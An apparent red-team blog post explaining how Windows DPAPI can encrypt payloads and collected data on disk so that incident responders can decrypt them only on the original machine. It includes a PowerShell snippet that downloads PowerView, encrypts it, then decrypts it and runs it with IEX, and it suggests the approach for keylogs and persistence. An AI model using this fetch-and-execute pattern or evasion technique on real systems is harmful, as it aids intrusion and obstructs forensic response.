Last September I wrote a post titled “Offensive Encrypted Data Storage” that detailed an approach to securely storing data on disk during offensive engagements. I recently revisited the idea a bit while once again thinking about disk artifacts, and remembered about DPAPI.
The Windows Data Protection API (DPAPI) provides a simplified set of cryptographic functions that abstracts away concerns about deriving/storing keys, and removes the need to include additional libraries to use this functionality. DPAPI uses either the user’s current logon credential or the the randomized machine account password (depending on the “scope” passed to the functions) to protect, by way of PKCS #5 and Triple-DES, a generated MasterKey. A session key is generated from the MasterKey, optional additional entropy, and some random bits – this is what’s actually used to protect data blobs supplied to DPAPI functions. DPAPI appears to be reasonably robust, and is used by things like Chrome to securely store saved website logins on disk. As a sidenote, Benjamin Delpy has done some awesome work in this area, which is outside the scope of this post, but something I hope to revisit in the future.
While this general approach has likely been used before, the only example I know of malware potentially using something like DPAPI for protection is this Reddit post from last September that describes what may be a Trotux variant. If anyone knows of additional samples that use what’s described here, please let me know! Here’s what the linked code looks like:
So what the hell is this doing, and why would someone malicious take this approach?
PowerShell’s SecureString functions allow you to securely store strings like passwords in memory. The reference source shows that underneath, SecureString uses SystemFunction040, which is a resource alias for RtlEncryptMemory(). RtlEncryptMemory() and RtlDecryptMemory() are not technically a part of the DPAPI, but function conceptually similar. I last visited these functions during the “KeeThief – A Case Study in Attacking KeePass Part 2” post, but here they’re used as an obfuscation/protection primitive for some malicious PowerShell code. The malicious code is encrypted using these underlying functions, and then extracted to a plaintext string with ConvertTo-SecureString and help from PSCredential.
While this is an interesting trick, there are just a few downsides. SecureString has a limit of 65536 characters, which is enough for some simple stagers but might becoming limiting for larger payloads or storage (like keylog data). Also, the scope used means that the encrypted string can only be retrieved in the same user context that encrypted the string. If we want to “securely” store data that can be accessed by anyone on the system, but is tied to the system itself, we need a slightly different approach.
Of note, the szDataDescr field is optional. Also, since the DPAPI function uses the user’s logon credential to encrypt the data blob, it provides the pOptionalEntropy field which grants the ability to mix some “secret” key material into the process. As Microsoft describes it, “a symmetric session key is generated based on the MasterKey, some random data, and any additional entropy, if an application chooses to supply it. It is this session key that is used to protect the data. The session key is never stored. Instead, DPAPI stores the random data it used to generate the key in the opaque data BLOB. When the data BLOB is passed back in to DPAPI, the random data is used to re-derive the key and unprotect the data.“
Another nice feature of the DPAPI functions is the ability to specify that the machine account be used to derive the encryption key, not the current user’s logon credential. We might want to use the machine account if we’re installing persistence for multiple users on a host. The [Security.Cryptography.DataProtectionScope] enumeration contains the CurrentUser (0x00) and LocalMachine (0x01) values which let us specify which scope to use.
Luckily for us, there are classes that nicely wrap this functionality already in .NET, and therefore PowerShell. The [System.Security.Cryptography.ProtectedData] class provides an easy way to use the DPAPI with its Protect() and Unprotect() methods. Here’s an example of wrapping these methods through PowerShell:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|Add-Type –AssemblyName System.Security|
|$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')|
|$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)|
|$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)|
|IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))|
$EncryptedBytes can be stored on disk, registry, or wherever else you’d like. The biggest advantage of using this approach for storage (from an offensive perspective) is that if the artifacts are pulled during any EDR/sweep activities, there’s no practical way to easily decrypt the artifacts except on the same machine. However, this is definitely possible, but a topic for another blog post. It’s also worth noting that these DPAPI function are not only available through PowerShell – this is a Windows API, so you can implement this through whatever language you want. You could also use this for keylogging or any other kind of data collection.
Compared to the approach I took last year, DPAPI provides some significant advantages as well as a few drawbacks. With DPAPI, you don’t have to worry about the algorithm used, the key used, or key management in general. Another big benefit is that if your data on disk is swept up into some time of SIEM or dashboard for host-based analytics, incident responders will almost certainly need to decrypt the blob on the system it was encrypted on. While there are ways to deal with this defensively, it might buy you additional time if your on-disk payload (or other data) is recovered.
Also published on Medium.